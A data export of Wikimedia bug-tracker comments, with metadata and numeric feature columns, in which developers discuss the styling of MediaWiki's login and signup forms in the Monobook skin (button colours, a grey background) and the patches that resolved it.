https://bugzilla.wikimedia.org/show_bug.cgi?id=47777",Low,25.0,1366935660,1387937152.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-72zefbcobhxumhmw42cx,task_description,resolved,True,c2,1,True,False,False,-18,True,2.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,18.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.316666666666667,0.55,"Compare:

* URL

* URL

The blue button is no longer blue. And there's a grey background with strange padding. Maybe some other quirks.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
URL"
229960,User login and signup forms don't look great in Monobook,"Change 103558 merged by jenkins-bot:
Remove grey background from login/createaccount form on Monobook

https://gerrit.wikimedia.org/r/103558",,,1387936046,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,3,False,,,17,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.857142857142857,1.0,"Change 103558 merged by jenkins-bot:
Remove grey background from login/createaccount form on Monobook

GERRIT_URL"
229955,User login and signup forms don't look great in Monobook,"With https://gerrit.wikimedia.org/r/#/c/103498/ (fix for bug 55554, button colors) and https://gerrit.wikimedia.org/r/#/c/103558/ (fixing grey background) I think we could consider this fixed.",,,1387915062,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,3,True,,,16,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.6538461538461537,0.8846153846153846,"With URL (fix for bug 55554, button colors) and URL (fixing grey background) I think we could consider this fixed."
229949,User login and signup forms don't look great in Monobook,"Change 103558 had a related patch set uploaded by Bartosz Dziewoński:
Remove grey background from login/createaccount form on Monobook

https://gerrit.wikimedia.org/r/103558",,,1387914978,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,3,False,,,16,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,5.16,1.0,"Change 103558 had a related patch set uploaded by Bartosz Dziewoński:
Remove grey background from login/createaccount form on Monobook

GERRIT_URL"
229944,User login and signup forms don't look great in Monobook,"(In reply to comment #18)
> (In reply to comment #17)
> > * A significant portion of third party sites still use monobook.
> 
> I doubt they're using a modern version of MediaWiki, and certainly not
> 1.22alpha. Do you have any statistics that suggest otherwise?

1.22alpha eventually becomes 1.22.0

According to http://wikiapiary.com/wiki/Skin:Main_Page monobook is most common (then again, if you sum the statistics, the result is significantly more than the total number of sites they surveyed, so I don't know if I trust that).

Anecdotally I still see quite a few using monobook, but ancedotal doesn't mean much. However its not just that the login form should look good in monobook - it should look good in any skin. Core features should not require a specific skin to look ok in.",,,1372356147,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-9,True,2.5,0.0,0.0,0.0,3.0,7.5,1.0,0.0,0.0,1.5,4.0,1.5,0.0,0.0,0.0,2.0,0.0,9.5,8.0,0.0,1.5,2.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,1.5,1.0,0.5,0.0,0.0,1.0,1.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.5,1.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,8.5,2.0,1.0,6.5,0.0,0.0,0.0,0.5,5.0,0.0,1.0,0.0,5.0,8.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,1.5,0.0,1.5,0.5,0.5,0.0,3.8231638418079097,0.7310734463276836,"(In reply to comment #18)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

1.22alpha eventually becomes 1.22.0

According to URL monobook is most common (then again, if you sum the statistics, the result is significantly more than the total number of sites they surveyed, so I don't know if I trust that).

Anecdotally I still see quite a few using monobook, but ancedotal doesn't mean much. However its not just that the login form should look good in monobook - it should look good in any skin. Core features should not require a specific skin to look ok in."
229938,User login and signup forms don't look great in Monobook,"(In reply to comment #17)
> * A significant portion of third party sites still use monobook.

I doubt they're using a modern version of MediaWiki, and certainly not 1.22alpha. Do you have any statistics that suggest otherwise?",,,1372355532,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,True,,,-9,True,3.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,14.0,0.0,3.0,6.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,8.0,8.0,3.0,3.0,0.0,0.0,8.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9166666666666665,1.0,"(In reply to comment #17)
QUOTE

I doubt they're using a modern version of MediaWiki, and certainly not 1.22alpha. Do you have any statistics that suggest otherwise?"
229934,User login and signup forms don't look great in Monobook,"Re bug 50304 comment 1:

>Like I say on 47698, we're open to suggestions or patches for Monobook, but
>considering the only way to see it is to either A) use a URL parameter or B)
>set the site skin to Monobook by default, which we no longer do on Wikimedia
>sites, it's not a big priority for us.

* A significant portion of third party sites still use monobook.
**In particular, the defaults don't change on upgrade. If you installed mediawiki not all that long ago, you probably are still using monobook.
*Features in core should be skin agnostic.",,,1372355151,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-9,True,1.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,9.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,13.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,9.0,4.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.8088235294117645,0.7352941176470589,"Re bug 50304 comment 1:

QUOTE
QUOTE
QUOTE
QUOTE

* A significant portion of third party sites still use monobook.
**In particular, the defaults don't change on upgrade. If you installed mediawiki not all that long ago, you probably are still using monobook.
*Features in core should be skin agnostic."
229931,User login and signup forms don't look great in Monobook,"**swalling** wrote:

%%%*** Bug 50304 has been marked as a duplicate of this bug. ***%%%",,,1372354737,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-9,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.34375,0.5625,"**swalling** wrote:

%%%*** Bug 50304 has been marked as a duplicate of this bug. ***%%%"
229930,User login and signup forms don't look great in Monobook,"(In reply to comment #14)
> The biggest issue is the background colour that is forced for the login form,
> but which is different to the page background, making it look very strange.

It's like that for the old form too, but the old form has a border.  We can probably either put back a border or remove the color override from the new form.

> Personally, I don't have a strong feeling about what colours the buttons
> should
> be, but I do have two general observations:
> * Grey buttons with grey borders (in particular with grey text, too) look
> like
> they are disabled, so should be avoided.  More contrast between the
> border/background (and darker text in the case of the 'Join Wikipedia'
> button)
> would resolve this, if the grey colour is to be retained.

Yeah, I agree.  The login button already looks darker (though that was unintentional).  However, I think it's worth making all non-Vector mediawiki.ui button text black, at least for now:

https://gerrit.wikimedia.org/r/66044

> I acknowledge that there may be a period of time between this new page going
> live and the rest of the interface being updated, but so long as the plan is
> to
> update all other buttons to match then there isn't necessarily a problem with
> them being out-of-sync for a while.  If there is no plan to update the other
> buttons on the site, then this change is more worrying.

As you said, it will take some time.  However, it's already in progress for some forms, and we'd definitely like to roll it out everywhere in time (e.g. https://gerrit.wikimedia.org/r/#/c/65346/)

> Finally, the input box labels is pretty faint, but perhaps this is because
> the placeholder text serves the same purpose (though this is only visible if 
> the user's browser supports it, of course).

Yes, this is a known issue (bug 47777), but it looks worse in Monobook because of the slight background.",,,1369864504,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-13,True,1.5,0.0,0.0,0.0,0.0,7.0,1.0,0.5,0.5,0.0,4.0,0.5,0.0,0.0,0.0,2.0,0.0,5.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,4.5,1.0,3.0,2.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.0,12.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,4.5,1.0,17.5,1.0,2.5,7.5,0.0,0.0,0.0,0.5,3.0,1.0,1.5,0.0,5.5,9.0,8.5,0.0,0.0,0.0,5.5,0.0,0.0,1.5,0.0,0.5,1.0,0.5,0.0,3.4175257731958766,0.6185567010309279,"(In reply to comment #14)
QUOTE
QUOTE

It's like that for the old form too, but the old form has a border.  We can probably either put back a border or remove the color override from the new form.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Yeah, I agree.  The login button already looks darker (though that was unintentional).  However, I think it's worth making all non-Vector mediawiki.ui button text black, at least for now:

GERRIT_URL

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

As you said, it will take some time.  However, it's already in progress for some forms, and we'd definitely like to roll it out everywhere in time (e.g. URL

QUOTE
QUOTE
QUOTE

Yes, this is a known issue (bug 47777), but it looks worse in Monobook because of the slight background."
229929,User login and signup forms don't look great in Monobook,"The biggest issue is the background colour that is forced for the login form, but which is different to the page background, making it look very strange.

Personally, I don't have a strong feeling about what colours the buttons should be, but I do have two general observations:
* Grey buttons with grey borders (in particular with grey text, too) look like they are disabled, so should be avoided.  More contrast between the border/background (and darker text in the case of the 'Join Wikipedia' button) would resolve this, if the grey colour is to be retained.
* Buttons style should be consistent throughout the application - therefore changes to button style (as distinct from colour, where variations often indicate differences in functionality) should be applied across the whole interface.

This applies to all skins (including Vector).

I acknowledge that there may be a period of time between this new page going live and the rest of the interface being updated, but so long as the plan is to update all other buttons to match then there isn't necessarily a problem with them being out-of-sync for a while.  If there is no plan to update the other buttons on the site, then this change is more worrying.

Finally, the input box labels is pretty faint, but perhaps this is because the placeholder text serves the same purpose (though this is only visible if the user's browser supports it, of course).",,,1369823508,,PHID-USER-3ws7v5cvttwvsyk43hpf,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-13,True,0.6666666666666666,0.0,0.3333333333333333,2.0,0.6666666666666666,7.0,3.6666666666666665,0.3333333333333333,0.3333333333333333,1.0,2.3333333333333335,1.3333333333333333,0.0,0.3333333333333333,1.0,1.0,0.0,7.0,12.666666666666666,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.6666666666666666,6.666666666666667,0.6666666666666666,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.0,1.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,17.333333333333332,1.3333333333333333,0.6666666666666666,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,8.0,6.666666666666667,4.666666666666667,2.3333333333333335,2.0,11.666666666666666,0.0,0.0,0.0,0.0,4.666666666666667,0.0,0.3333333333333333,0.0,2.3333333333333335,12.666666666666666,1.3333333333333333,0.0,0.6666666666666666,0.0,2.3333333333333335,0.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,1.0,1.0,0.3333333333333333,0.0,4.0575601374570445,0.7033576746849942,"The biggest issue is the background colour that is forced for the login form, but which is different to the page background, making it look very strange.

Personally, I don't have a strong feeling about what colours the buttons should be, but I do have two general observations:
* Grey buttons with grey borders (in particular with grey text, too) look like they are disabled, so should be avoided.  More contrast between the border/background (and darker text in the case of the 'Join Wikipedia' button) would resolve this, if the grey colour is to be retained.
* Buttons style should be consistent throughout the application - therefore changes to button style (as distinct from colour, where variations often indicate differences in functionality) should be applied across the whole interface.

This applies to all skins (including Vector).

I acknowledge that there may be a period of time between this new page going live and the rest of the interface being updated, but so long as the plan is to update all other buttons to match then there isn't necessarily a problem with them being out-of-sync for a while.  If there is no plan to update the other buttons on the site, then this change is more worrying.

Finally, the input box labels is pretty faint, but perhaps this is because the placeholder text serves the same purpose (though this is only visible if the user's browser supports it, of course)."
229926,User login and signup forms don't look great in Monobook,"We have gotten feedback from Vector users, in addition to quantitative data.

We've been trialling the button colors (on account creation) in Vector since October, we've done A/B tests, we've gotten informal feedback much of that time, we just published a blog post asking people on all WMF projects to try it, and we just did an IRC session about it where multiple people expressed positive feedback of the Vector version.

People have raised various interface issues (including color in other parts of the UI, e.g. bug 47777, which we're looking into)

But both user feedback and the data is in favor of the button colors for Vector.",,,1367277986,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,1.0,0.0,0.0,0.0,0.0,4.5,1.0,0.0,0.0,0.0,3.5,2.5,0.0,0.0,0.0,4.0,0.0,3.0,10.5,0.0,0.5,0.0,0.5,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,4.5,0.0,1.5,0.0,0.0,0.0,1.0,1.0,0.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.5,1.0,1.5,0.0,0.0,0.0,1.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.5,8.5,1.5,2.5,8.0,0.0,0.0,0.0,0.0,1.5,0.0,1.0,0.0,5.5,10.5,5.0,0.0,0.0,0.0,5.5,0.0,1.5,2.0,0.0,2.5,0.0,0.0,0.0,4.054312354312355,0.7863636363636364,"We have gotten feedback from Vector users, in addition to quantitative data.

We've been trialling the button colors (on account creation) in Vector since October, we've done A/B tests, we've gotten informal feedback much of that time, we just published a blog post asking people on all WMF projects to try it, and we just did an IRC session about it where multiple people expressed positive feedback of the Vector version.

People have raised various interface issues (including color in other parts of the UI, e.g. bug 47777, which we're looking into)

But both user feedback and the data is in favor of the button colors for Vector."
229923,User login and signup forms don't look great in Monobook,"(In reply to comment #11)
> As for Monobook, we are going to hold off on adding the button colors until
> we hear from more Monobook users regarding what they want.

Can we hold off on the button colors for Vector until we hear from more Vector users?",,,1367276090,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,19.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,23.0,6.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.3548387096774195,0.8709677419354839,"(In reply to comment #11)
QUOTE
QUOTE

Can we hold off on the button colors for Vector until we hear from more Vector users?"
229918,User login and signup forms don't look great in Monobook,"First, a quick note.  Currently there are only two versions of the mediawiki.ui styles, Vector and non-Vector.  It does not have to stay that way.  Other core skins can propose and implement their own stylings for the module.

As for Monobook, we are going to hold off on adding the button colors until we hear from more Monobook users regarding what they want.",,,1367271406,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,3.0,0.0,5.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,6.0,4.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,6.0,13.0,8.0,0.0,0.0,0.0,6.0,0.0,1.0,1.0,0.0,4.0,1.0,0.0,0.0,3.896103896103896,0.7792207792207793,"First, a quick note.  Currently there are only two versions of the mediawiki.ui styles, Vector and non-Vector.  It does not have to stay that way.  Other core skins can propose and implement their own stylings for the module.

As for Monobook, we are going to hold off on adding the button colors until we hear from more Monobook users regarding what they want."
229912,User login and signup forms don't look great in Monobook,"**swalling** wrote:

(In reply to comment #9)
> (In reply to comment #8)
> > Do you have suggestions for what to do? Like I said before, we're willing to
> > consider improvements to the forms in the skin, but I'd like to hear what
> > specific changes you'd like, as a Monobook user.
> 
> When this bug was filed, it wasn't clear that parts of the interface had been
> intentionally changed for Monobook.
> 
> Vector and Monobook are very similar in design. I don't understand why it's
> acceptable to use bright green and blue in Vector, but not in Monobook.

Okay, so you're saying you want the button colors to be the same in Monobook. That's reasonable I think. We assumed Monobook users would want the opposite, since it's a plainer interface not typically used other than by power users. 

Anything else?",,,1367252199,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0.0,1.0,0.0,0.0,1.0,4.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,0.0,4.0,9.0,1.0,2.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,6.0,2.0,1.0,4.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,1.0,20.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,3.0,1.0,1.0,0.0,6.0,9.0,12.0,1.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.4831460674157304,0.6179775280898876,"**swalling** wrote:

(In reply to comment #9)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Okay, so you're saying you want the button colors to be the same in Monobook. That's reasonable I think. We assumed Monobook users would want the opposite, since it's a plainer interface not typically used other than by power users. 

Anything else?"
229907,User login and signup forms don't look great in Monobook,"(In reply to comment #8)
> Do you have suggestions for what to do? Like I said before, we're willing to
> consider improvements to the forms in the skin, but I'd like to hear what
> specific changes you'd like, as a Monobook user.

When this bug was filed, it wasn't clear that parts of the interface had been intentionally changed for Monobook.

Vector and Monobook are very similar in design. I don't understand why it's acceptable to use bright green and blue in Vector, but not in Monobook.",,,1367250340,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,1.0,3.0,4.0,7.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,1.0,0.0,10.0,13.0,0.0,3.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,16.0,4.0,4.0,3.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,4.0,13.0,10.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8088235294117645,0.7352941176470589,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

When this bug was filed, it wasn't clear that parts of the interface had been intentionally changed for Monobook.

Vector and Monobook are very similar in design. I don't understand why it's acceptable to use bright green and blue in Vector, but not in Monobook."
229899,User login and signup forms don't look great in Monobook,"**swalling** wrote:

(In reply to comment #6)
> (In reply to comment #5)
> > The grey button was implemented under the theory that non-Vector users are
> > likely to prefer a more low-key interface.
> 
> It was intentional? Why is it acceptable to use the blue and green in Vector
> but not in Monobook?

Let's get back to what you think might actually be done differently in Monobook. 

Do you have suggestions for what to do? Like I said before, we're willing to consider improvements to the forms in the skin, but I'd like to hear what specific changes you'd like, as a Monobook user.",,,1367201979,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,3.0,0.0,0.0,0.0,3.0,0.0,4.0,12.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,0.0,3.0,3.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,15.0,0.0,1.0,3.0,0.0,0.0,0.0,1.0,11.0,1.0,1.0,0.0,8.0,12.0,9.0,1.0,0.0,0.0,8.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,3.4065934065934065,0.6373626373626373,"**swalling** wrote:

(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Let's get back to what you think might actually be done differently in Monobook. 

Do you have suggestions for what to do? Like I said before, we're willing to consider improvements to the forms in the skin, but I'd like to hear what specific changes you'd like, as a Monobook user."
229892,User login and signup forms don't look great in Monobook,"(In reply to comment #6)
> It was intentional? Why is it acceptable to use the blue and green in Vector
> but not in Monobook?

It's normal for different skins to look different.

That doesn't mean the way they look is final.  We can add the colors to additional skins if they're consensus to do so.  Alternatively, there are other possible ways non-Vector skins could choose to render these classes.",,,1367127948,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,False,,,-18,True,0.0,0.0,0.0,0.0,1.0,14.0,1.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,1.0,1.0,0.0,4.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,8.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,11.0,1.0,0.0,6.0,0.0,0.0,0.0,1.0,10.0,0.0,1.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.704225352112676,0.7605633802816901,"(In reply to comment #6)
QUOTE
QUOTE

It's normal for different skins to look different.

That doesn't mean the way they look is final.  We can add the colors to additional skins if they're consensus to do so.  Alternatively, there are other possible ways non-Vector skins could choose to render these classes."
229886,User login and signup forms don't look great in Monobook,"(In reply to comment #5)
> The grey button was implemented under the theory that non-Vector users are
> likely to prefer a more low-key interface.

It was intentional? Why is it acceptable to use the blue and green in Vector but not in Monobook?",,,1367123933,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-72zefbcobhxumhmw42cx,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,0.0,3.0,9.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,15.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,21.0,3.0,6.0,3.0,0.0,0.0,0.0,3.0,6.0,0.0,3.0,0.0,6.0,15.0,6.0,6.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.323529411764706,0.8529411764705882,"(In reply to comment #5)
QUOTE
QUOTE

It was intentional? Why is it acceptable to use the blue and green in Vector but not in Monobook?"
229881,User login and signup forms don't look great in Monobook,"The grey button was implemented under the theory that non-Vector users are likely to prefer a more low-key interface.

The mediawiki.ui module (which implements these buttons) uses a ResourceLoader feature that allows different styles for each skin (which can even be more different than the two options currently are).

